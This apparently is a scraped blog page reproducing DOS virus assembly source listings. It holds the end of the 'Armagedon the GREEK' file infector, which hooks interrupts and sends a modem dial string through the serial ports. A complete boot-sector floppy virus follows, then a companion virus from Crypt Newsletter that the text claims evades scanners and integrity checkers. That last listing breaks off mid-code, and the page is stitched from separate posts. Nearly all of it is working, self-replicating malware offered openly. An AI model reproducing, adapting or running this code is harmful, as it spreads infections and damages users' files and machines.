mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov cs:data_19,ax ; (7415:013E=1301h)
mov ax,cs
mov ds,ax
mov dx,541h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
pop dx
pop ds
mov ax,3D02h
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_12 ; Jump if carry Set
mov bx,ax
mov cs:data_17,ax ; (7415:0138=5)
mov cx,0FFFFh
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax
mov dx,437h
mov ah,3Fh ; '?'
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
jc loc_12 ; Jump if carry Set
mov cs:data_18,ax ; (7415:013A=2)
cmp ax,0E000h
ja loc_12 ; Jump if above
cmp ax,437h
jb loc_15 ; Jump if below
mov si,438h
add si,si
sub si,15h
mov cx,13h
mov di,524h

locloop_14:
mov al,[si]
mov ah,cs:[di]
cmp ah,al
jne loc_15 ; Jump if not equal
inc si
inc di
loop locloop_14 ; Loop if cx > 0

jmp short loc_17 ; (02C4)
db 90h
loc_15:
mov ax,4200h
mov bx,cs:data_17 ; (7415:0138=5)
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_17 ; Jump if carry Set
mov si,100h
mov cx,437h
xor di,di ; Zero register
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax

locloop_16:
mov al,cs:[si]
mov [di],al
inc si
inc di
loop locloop_16 ; Loop if cx > 0

mov ax,5700h
mov bx,cs:data_17 ; (7415:0138=5)
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov cs:data_26,cx ; (7415:014C=6E68h)
mov cs:data_25,dx ; (7415:014A=0EC2h)
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax
mov si,437h
mov al,[si]
add al,0Bh
mov [si],al
xor dx,dx ; Zero register
mov cx,cs:data_18 ; (7415:013A=2)
add cx,437h
mov bx,cs:data_17 ; (7415:0138=5)
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov cx,cs:data_26 ; (7415:014C=6E68h)
mov dx,cs:data_25 ; (7415:014A=0EC2h)
mov bx,cs:data_17 ; (7415:0138=5)
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
loc_17:
mov bx,cs:data_17 ; (7415:0138=5)
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
loc_18:
mov dx,80h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov ax,cs:data_19 ; (7415:013E=1301h)
mov es,ax
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov ax,cs:data_22 ; (7415:0144=7415h)
mov ds,ax
mov dx,cs:data_23 ; (7415:0146=3D5Bh)
mov ax,4301h
mov cx,cs:data_24 ; (7415:0148=20h)
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jmp short loc_20 ; (02FD)
db 90h
loc_19:
pop ds
pop dx
jmp short loc_20 ; (02FD)
db 90h
loc_20:
pop di
pop es
pop bp
pop dx
pop ax
pop cx
pop si
pop bx
pop ds
jmp loc_4 ; (011C)

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

int_08h_entry proc far
push bp
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
pushf ; Push flags
call cs:data_6 ; (7415:0126=22Bh)
call sub_1 ; (0365)
push cs
pop ds
mov ah,5
mov ch,data_10 ; (7415:012C=10h)
cmp ah,ch
ja loc_22 ; Jump if above
mov ah,6
cmp ah,ch
jb loc_22 ; Jump if below
mov ah,data_8 ; (7415:012A=0)
cmp ah,1
je loc_21 ; Jump if equal
mov ah,1
mov data_8,ah ; (7415:012A=0)
jmp short loc_22 ; (035B)
db 90h
loc_21:
call sub_2 ; (03CB)
inc data_13 ; (7415:012F=0)
mov ax,data_13 ; (7415:012F=0)
cmp ax,21Ch
jne loc_22 ; Jump if not equal
xor ax,ax ; Zero register
mov data_8,ah ; (7415:012A=0)
mov data_13,ax ; (7415:012F=0)
mov data_15,ah ; (7415:0133=0)
loc_22:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pop bp
iret ; Interrupt return
int_08h_entry endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_1 proc near
push cs
pop ds
xor al,al ; Zero register
mov ah,data_9 ; (7415:012B=8)
cmp ah,11h
jne loc_26 ; Jump if not equal
mov ah,data_12 ; (7415:012E=34h)
cmp ah,3Bh ; ';'
jne loc_27 ; Jump if not equal
mov ah,data_11 ; (7415:012D=9)
cmp ah,3Bh ; ';'
jne loc_28 ; Jump if not equal
mov ah,data_10 ; (7415:012C=10h)
cmp ah,17h
jne loc_29 ; Jump if not equal
mov data_10,al ; (7415:012C=10h)
loc_23:
mov data_11,al ; (7415:012D=9)
loc_24:
mov data_12,al ; (7415:012E=34h)
loc_25:
mov data_9,al ; (7415:012B=8)
retn
loc_26:
inc data_9 ; (7415:012B=8)
retn
loc_27:
inc data_12 ; (7415:012E=34h)
jmp short loc_25 ; (0396)
loc_28:
inc data_11 ; (7415:012D=9)
jmp short loc_24 ; (0393)
loc_29:
inc data_10 ; (7415:012C=10h)
jmp short loc_23 ; (0390)
sub_1 endp

db '+++aTh0m0s7=35dp081,,,,141'

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2 proc near
mov al,data_15 ; (7415:0133=0)
cmp al,1
je loc_ret_35 ; Jump if equal
mov al,data_16 ; (7415:0134=0)
cmp al,1
je loc_31 ; Jump if equal
mov cx,3

locloop_30:
mov dx,cx
xor ah,ah ; Zero register
mov al,83h
int 14h ; RS-232 dx=com#, ah=func 40h
; reset port, al=init parameter
loop locloop_30 ; Loop if cx > 0

mov al,1
mov data_16,al ; (7415:0134=0)
jmp short loc_ret_35 ; (0435)
db 90h
loc_31:
push cs
pop ds
mov si,3B1h
mov al,data_14 ; (7415:0132=0)
cmp al,1Ah
jne loc_32 ; Jump if not equal
jmp short loc_33 ; (041A)
db 90h
loc_32:
xor ah,ah ; Zero register
add si,ax
mov al,[si]
mov dx,3F8h
out dx,al ; port 3F8h, RS232-1 xmit buffr
mov dx,2F8h
out dx,al ; port 2F8h, RS232-2 xmit buffr
mov dx,2E8h
out dx,al ; port 2E8h
mov dx,3E8h
out dx,al ; port 3E8h
inc data_14 ; (7415:0132=0)
jmp short loc_ret_35 ; (0435)
db 90h
loc_33:
mov cx,3

locloop_34:
mov dx,cx
mov al,0Dh
mov ah,1
int 14h ; RS-232 dx=com#, ah=func 41h
; write char al, ah=retn status
loop locloop_34 ; Loop if cx > 0

mov ax,1
mov data_15,al ; (7415:0133=0)
mov data_14,ah ; (7415:0132=0)
mov data_16,ah ; (7415:0134=0)

loc_ret_35:
retn
sub_2 endp

loc_36:
mov ah,0E0h
int 21h ; DOS Services ah=function E0h
cmp ax,0DADAh
jne loc_37 ; Jump if not equal
jmp loc_40 ; (04DB)
loc_37:
push cs
pop ds
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr data_4,bx ; (7415:0122=138Dh)
mov word ptr data_4+2,es ; (7415:0124=7415h)
mov dx,103h
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3508h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr data_6,bx ; (7415:0126=22Bh)
mov word ptr data_6+2,es ; (7415:0128=7415h)
mov dx,309h
mov ax,2508h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dh=sec
mov data_10,ch ; (7415:012C=10h)
mov data_11,cl ; (7415:012D=9)
mov data_12,dh ; (7415:012E=34h)
mov ax,cs:data_1e ; (7415:002C=0)
mov ds,ax
xor si,si ; Zero register
loc_38:
mov al,[si]
cmp al,1
je loc_39 ; Jump if equal
inc si
jmp short loc_38 ; (0486)
loc_39:
inc si
inc si
mov dx,si
mov ax,cs
mov es,ax
mov bx,5Ah
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,cs:data_2e ; (7415:0081=0)
mov ax,cs
mov es,ax
mov cs:data_28,ax ; (7415:0156=12ACh)
mov cs:data_29,ax ; (7415:015A=12ACh)
mov cs:data_27,ax ; (7415:0152=12ACh)
mov ax,4B00h
mov cs:data_20,ss ; (7415:0140=1306h)
mov cs:data_21,sp ; (7415:0142=0FFFEh)
pushf ; Push flags
call cs:data_4 ; (7415:0122=138Dh)
mov ax,cs:data_20 ; (7415:0140=1306h)
mov ss,ax
mov ax,cs:data_21 ; (7415:0142=0FFFEh)
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,537h
int 27h ; Terminate & stay resident
loc_40:
mov ah,0E1h
int 21h ; DOS Services ah=function E1h
mov si,4F3h
mov cs:[si+3],ax
mov ax,4F8h
mov cs:[si+1],ax
mov ax,cs:data_18 ; (7415:013A=2)
mov bx,cs
;* jmp far ptr loc_1 ;*(0000:0000)
db 0EAh, 0, 0, 0, 0
db 8Bh, 0C8h, 8Eh, 0DBh, 0BEh, 0
db 1, 0BFh, 37h, 5

locloop_41:
mov al,[di]
mov [si],al
inc si
inc di
loop locloop_41 ; Loop if cx > 0

mov si,51Fh
mov cs:[si+3],ds
mov al,byte ptr ds:[100h] ; (7415:0100=0E9h)
sub al,0Bh
mov byte ptr ds:[100h],al ; (7415:0100=0E9h)
mov ax,ds
mov es,ax
mov ss,ax
jmp far ptr start ; (0100)
db 'Armagedon the GREEK'
db 0D8h, 20h

seg_a ends

end start

almeda asm virus script

2006-09-18T14:41:00.000+07:00

almeda asm virus script
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
; it will attempt to infect any floppy it finds in drive A:. ;
; It keeps the real boot sector at track 39, sector 8, head 0 ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus ;
; will die. It also contains no anti detection mechanisms as does the ;
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
; sector 9 because this is common to all floppy formats both single ;
; sided and double sided. It does not contain any malevolent TROJAN ;
; HORSE code. It does appear to contain a count of how many times it ;
; has infected other diskettes although this is harmless and the count ;
; is never accessed. ;
; ;
; Things to note about this virus: ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other ;
; floppy diskettes. The only way to remove it from an infected system ;
; is to turn the machine off and reboot an uninfected copy of DOS. ;
; It is even resident when no floppy is booted but BASIC is loaded ;
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
; it activates and infectes the floppy from which the user is ;
; attempting to boot. ;
; ;
; Also note that because of the POP CS command to pass control to ;
; its self in upper memory, this virus does not to work on 80286 ;
; machines (because this is not a valid 80286 instruction). ;
; ;
; The Norton Utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to ;
; remove it (unlike the Pakistani Brain). ;
;-----------------------------------------------------------------------;
;
ORG 7C00H ;
;
TOS LABEL WORD ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
; 4. Jump to ourself at top of memory ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
;-----------------------------------------------------------------------;
BEGIN: CLI ;INITIALIZE STACK
XOR AX,AX ;
MOV SS,AX ;
MOV SP,offset TOS ;
STI ;
;
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
MOV DS,BX ;
MOV AX,[0013H] ;
MUL BX ;
SUB AX,07E0H ; (7C00H+512)/16
MOV ES,AX ;
;
PUSH CS ;DS = CS
POP DS ;
;
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
JNE B_10 ;
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
;
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
MOV DI,SI ;
MOV CX,512 ;
CLD ;
REP MOVSB ;
;
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
MOV CX,128 ;
REP MOVSB ;
;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
;
PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH
NOP
;
PUSH DS ;DS=0 ; ES = DS
POP ES ;
;
MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0
MOV CX,2708H ; TRACK 40, SECTOR 8
MOV AX,0201H ; READ SECTOR
INT 13H ; (common to 8/9 sect. 1/2 sided!)
JB $ ; HANG IF ERROR
;
JMP JMP_BOOT ;JMP 0000:7C00
;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR ;
; ;
; ON ENTRY: DS = 0 ;
; ES = WHERE TO SAVE OLD_09 & (HI) ;
; WHERE NEW_09 IS (HI) ;
;-----------------------------------------------------------------------;
PUT_NEW_09: ;
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
;
MOV SI,9*4 ;COPY INT 9 VECTOR TO
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
MOV CX,0004 ;
;
CLI ;
REP MOVSB ;
MOV Word Ptr [9*4],offset NEW_09
MOV [(9*4)+2],ES ;
STI ;
;
RET ;
;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
;-----------------------------------------------------------------------;
ACK_KEYBD: ;
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
MOV AH,AL ;
OR AL,80H ;
OUT 61H,AL ;
XCHG AL,AH ;
OUT 61H,AL ;
JMP RBOOT ;
;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
; REASON UNKNOWN ;
;-----------------------------------------------------------------------;
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
DB 27H,0,3,2 ;
DB 27H,0,4,2 ;
DB 27H,0,5,2 ;
DB 27H,0,6,2 ;
DB 27H,0,7,2 ;
DB 27H,0,8,2 ;
;
;A7C9A LABEL BYTE ;
DW 00024H ;NOT USED
DB 0ADH ;
DB 07CH ;
DB 0A3H ;
DW 00026H ;
;
;L7CA1: ;
POP CX ;NOT USED
POP DI ;
POP SI ;
POP ES ;
POP DS ;
POP AX ;
POPF ;
JMP 1111:1111 ;
;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ... ;
; IF ALT & CTRL & ? THEN ... ;
;-----------------------------------------------------------------------;
NEW_09: PUSHF ;
STI ;
;
PUSH AX ;
PUSH BX ;
PUSH DS ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME
IN AL,60H ;GET SCAN CODE
MOV AH,AL ;SAVE IN AH
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
;
CMP AL,1DH ;IS IT A [CTRL]...
JNE N09_10 ;...JUMP IF NO
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
JMP N09_30 ;
;
N09_10: CMP AL,38H ;IS IT AN [ALT]...
JNE N09_20 ;...JUMP IF NO
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
JMP N09_30 ;
;
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
JNE N09_30 ;...JUMP IF NO
;
CMP AL,17H ;IF [I]...
JE N09_X0 ;...JUMP IF YES
CMP AL,53H ;IF [DEL]...
JE ACK_KEYBD ;...JUMP IF YES
;
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
;
N09_90: POP DS ;
POP BX ;
POP AX ;
POPF ;
;
DB 0EAH ;JMP F000:E987
OLD_09 DW ? ;
DW 0F000H ;
;
N09_X0: JMP N09_X1 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
MOV AX,0800H ;AL=0, AH=DELAY ARG
OUT DX,AL ;
CALL DELAY ;
MOV [ALT_CTRL],AX ;AX=0 ;
;
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
INT 10H ;
MOV AH,2 ;SET CURSOR POS 0,0
XOR DX,DX ;
MOV BH,DH ; PAGE 0
INT 10H ;
;
MOV AH,1 ;SET CURSOR TYPE
MOV CX,0607H ;
INT 10H ;
;
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
CALL DELAY ;
;
CLI ;
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
;
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
MOV SI,offset BEGIN - 128 ;
MOV CX,128 ;
CLD ;
REP MOVSB ;
;
MOV DS,CX ;CX=0 ;DS=0
;
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
MOV [(19H*4)+2],CS ;
;
MOV AX,0040H ;DS = ROM DATA AREA
MOV DS,AX ;
;
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
;
PUSH DS ;IF BIOS F000:E502 == 21E4...
MOV AX,0F000H ;
MOV DS,AX ;
CMP Word Ptr [0E502H],21E4H ;
POP DS ;
JE R_90 ;
INT 19H ; IF NOT...REBOOT
;
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR ;
;-----------------------------------------------------------------------;
NEW_19: XOR AX,AX ;
;
MOV DS,AX ;DS=0
MOV AX,[0410] ;AX=EQUIP FLAG
TEST AL,1 ;IF FLOPPY DRIVES ...
JNZ N19_20 ;...JUMP
N19_10: PUSH CS ;ELSE ES=CS
POP ES ;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
INT 18H ;LOAD BASIC
;
N19_20: MOV CX,0004 ;RETRY COUNT = 4
;
N19_22: PUSH CX ;
MOV AH,00 ;RESET DISK
INT 13 ;
JB N19_81 ;
MOV AX,0201 ;READ BOOT SECTOR
PUSH DS ;
POP ES ;
MOV BX,offset BEGIN ;
MOV CX,1 ;TRACK 0, SECTOR 1
INT 13H ;
N19_81: POP CX ;
JNB N19_90 ;
LOOP N19_22 ;
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
;
;-----------------------------------------------------------------------;
; Reinfection segment. ;
;-----------------------------------------------------------------------;
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
JNZ RE_INFECT ;...RE INFECT
;
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
JMP 0000:7C00H ;
;
;-----------------------------------------------------------------------;
; Reinfection Segment. ;
;-----------------------------------------------------------------------;
RE_INFECT: ;
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
MOV CX,00E6H ; OURSELF
MOV DI,SI ;
PUSH CS ;
POP ES ;
CLD ;
REPE CMPSB ;
JE RI_12 ;IF NOT EQUAL...
;
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
MOV BX,offset TABLE ;FORMAT INFO
MOV DX,0000 ;DRIVE A: HEAD 0
MOV CH,40-1 ;TRACK 39
MOV AH,5 ;FORMAT
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
;
; <<<>>> ;
JB RI_80 ;
;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
MOV BX,offset BEGIN ;TRACK 40H
MOV CL,8 ;SECTOR 8
MOV AX,0301H ;WRITE 1 SECTOR
INT 13H ;
;
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
POP ES ;
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
;
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
MOV AX,0301 ;
INT 13H ;
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
;
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
INT 19H ;...FLAG AND REBOOT
;
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
JMP JMP_BOOT ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
;
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
MOV BX,0040H ;
MOV DS,BX ;
MOV [0072H],AX ; 0040:0072 = RESET FLAG
JMP N09_90 ;
;
;-----------------------------------------------------------------------;
; DELAY ;
; ;
; ON ENTRY AH:CX = LOOP COUNT ;
;-----------------------------------------------------------------------;
DELAY: SUB CX,CX ;
D_01: LOOP $ ;
SUB AH,1 ;
JNZ D_01 ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A7DF4 DB 27H,00H,8,2

COUNTER_1 DW 001CH
ALT_CTRL DW 0
A7DFC DB 27H,0,8,2

acme virus asm

2006-09-18T14:38:00.000+07:00

; ACME COMPANION VIRUS for Crypt Newsletter 9
;
; ACME is a fast and simple companion virus which will create a
; spawned copy of itself for EVERY .EXE file it can find in the
; current directory.
;
; ACME is ready to assemble using A86. If you recall, an earlier Crypt
; letter included an A86-only source listing. (Strict TASM/MASM compatible
; assemblers will need the manual addition of a couple simple declarative
; statements.) I included ACME in this form so fans of Isaacson's
; technique can gloat about the code not requiring "red tape." ;-]
; A86 will assemble ACME directly to a .COMfile virus, no linker
; necessary.
;
; ACME currently eludes all scanners and as a companion virus, openly
; defies every integrity checker I have in my inventory with the EXCEPTION
; of Stiller Research's. This issue includes a quality report on
; Solomon's Toolkit, so it's only fair to state that while the documentation
; for this product seems to indicate that the developers know what a
; companion infection is, the software does nothing to protect against
; it in default mode. ACME flies through the Toolkit, for now. Go figure.
;
; ACME will also play a generic ACME-style virus tune late in the
; afternoon. Those who fancy a musical virus but have never heard one are
; encouraged to play with ACME. Set your system clock to anytime after
; 4:00 pm. The musical payload takes up most of the space in this virus,
; removing it shaves the virus to 242 bytes - nice and small if you like.
;
; The virus purist may recognize the root of ACME as a piece of code known
; as ZENO - a small, single-step companion infector. ZENO's author is
; thanked, wherever he/she is.

START:

jmp VIR_BEGIN ; get going

WILDCARD DB "*.EXE",0
FILE_EXT DB "COM",0
FILE_FOUND DB 12 DUP(' '), 0
FILE_CREATE DB 12 DUP(' '), 0
SEARCH_ATTRIB DW 17H
NUM_INFECT DW 0
MUZIK DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 5119,0006, 5423,0006, 3043,0006,
DW 6087,0020,

DW 6087,0006,
DW 7239,0006, 3619,0006, 4831,0006, 6087,0006
DW 7670,0006, 7239,0006, 4831,0006, 3619,0006

DW 6087,0006, 4063,0006, 3043,0006, 5119,0006
DW 4831,0006, 6087,0006, 7239,0006, 8126,0006
DW 6087,0020,

DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 5119,0006, 5423,0006, 3043,0006,
DW 6087,0020,

DW 6087,0006,
DW 7239,0006, 3619,0006, 4831,0006, 6087,0006
DW 7670,0006, 7239,0006, 4831,0006, 3619,0006

DW 6087,0006, 4063,0006, 3043,0006, 5119,0006
DW 4831,0006, 6087,0006, 7239,0006, 8126,0006
DW 6087,0020,

DW 7670,0006, 7239,0006, 4831,0006, 3619,0006
DW 3043,0006, 3619,0006, 4831,0006, 6087,0006
DW 3043,0010,

DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
DW 3043,0006, 5119,0006, 5423,0006, 3043,0006,
DW 6087,0020,

DW 7670,0006, 7239,0006, 4831,0006, 3619,0006
DW 3043,0006, 3619,0006, 4831,0006, 6087,0006
DW 3043,0010,

DW 6087,0006,
DW 7239,0006, 3619,0006, 4831,0006, 6087,0006
DW 7670,0006, 7239,0006, 4831,0006, 3619,0006

DW 6087,0006, 4063,0006, 3043,0006, 5119,0006
DW 4831,0006, 6087,0006, 7239,0006, 8126,0006
DW 6087,0020,

DW 0ffffh

My_Cmd:
CMD_LEN DB 13
FILE_CLONE DB 12 DUP (' '), 0

;------------------------------------------------------------------;
Prepare_command:
cld
mov di,OFFSET FILE_CLONE
mov al,0
mov cx,12
repne scasb ; find the end of string \0

mov al,0Dh ;
stosb ; replace \0 with a

mov ax,12 ;store length of the command
sub ax,cx
mov CMD_LEN, al
ret

;------------------------------------------------------------------;
Store_name:

mov di,OFFSET FILE_FOUND ;Point to buffer.
mov si,158 ;stow the file found in buffer
mov cx,12
rep movsb

mov di,OFFSET FILE_CREATE ;Point to buffer.
mov si,158
mov cx,12
rep movsb

cld
mov di,OFFSET FILE_CREATE
mov al,'.'
mov cx,9
repne scasb ;find the '.'

mov si,OFFSET FILE_EXT
mov cx,3
rep movsb ;replace the .EXE with .COM
;from buffer
ret

;------------------------------------------------------------------;
;Does the file exist?

Check_file:
mov dx,OFFSET FILE_CREATE
mov cx,0
mov ax,3d00h ; Open file, read only
int 21h

Chk_done:
ret

;------------------------------------------------------------------;
Infect_file: ;create companion routine

mov dx,OFFSET FILE_CREATE ;contains name of "companion"
mov cx,0
mov ah,3ch ;construct file
int 21h
jc EXIT

;Write virus to companion file
mov bx,ax
mov cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length
mov dx,OFFSET START
mov ah,40h ;write to file function
int 21h ;do it

;Close file
mov ah,3eh ; ASSUMES bx still has file handle
int 21h

;Change attributes
mov dx,OFFSET FILE_CREATE ;of created file to
mov cx,3 ;(1) read only and (2) hidden
mov ax,4301h
int 21h

ret

;------------------------------------------------------------------
; Read all the directory filenames and store as records in buffer.
;------------------------------------------------------------------

Vir_begin:
mov ah,02Ch ;DOS get time function
int 021h
mov al,ch ;Copy hour into AL
cbw ;Sign-extend AL into AX
cmp ax,0010h ;Did the function return 16 (4 pm)?
jge TOON ;If greater than or equal, muzik!

mov sp,offset STACK_HERE ;move stack down
mov bx,sp
add bx,15
mov cl,4
shr bx,cl
mov ah,4ah ;deallocate rest of memory
int 21h

mov di,OFFSET FILE_CLONE ;Point to buffer.
mov si,OFFSET FILE_FOUND
mov cx,12
rep movsb

Read_dir: mov dx,OFFSET WILDCARD ;file mask for directory search
mov cx,SEARCH_ATTRIB

mov ah,4Eh ;find the first matching file
int 21h

